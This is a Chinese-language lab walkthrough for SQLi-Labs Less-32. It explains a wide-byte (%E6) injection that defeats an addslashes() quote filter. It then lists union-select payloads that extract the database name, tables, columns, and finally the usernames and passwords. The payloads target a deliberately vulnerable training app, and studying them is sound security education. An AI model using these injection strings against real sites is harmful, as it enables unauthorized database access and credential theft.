Less(32)GET - Bypass custom filter adding slashes to dangerous chars

1.查看一下php文件:

Less(32)GET - Bypass custom filter adding slashes to dangerous chars

   

check_addslashes()会在单引号前加一个\ 例如:I‘m hacker 传入addslashes(),得到:I\‘m hacker

本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:

原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6‘ 这样的构造时,‘ 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用,库。

2.爆破

(1)爆库:?id=-1%E6‘ union select 1,2,database() --+

  Less(32)GET - Bypass custom filter adding slashes to dangerous chars

(2)爆表:?id=-1%E6‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479 --+

  Less(32)GET - Bypass custom filter adding slashes to dangerous chars

     需要对战ASCII码表,将security换成其对应的16进制

(3)爆列名:?id=-1%E6‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273--+

  Less(32)GET - Bypass custom filter adding slashes to dangerous chars

(4)爆值:?id=-1%E6‘ union select 1,group_concat(username,0x7e,password),3 from security.users --+

  Less(32)GET - Bypass custom filter adding slashes to dangerous chars


原文链接:https://blog.csdn.net/qq_41420747/article/details/81836327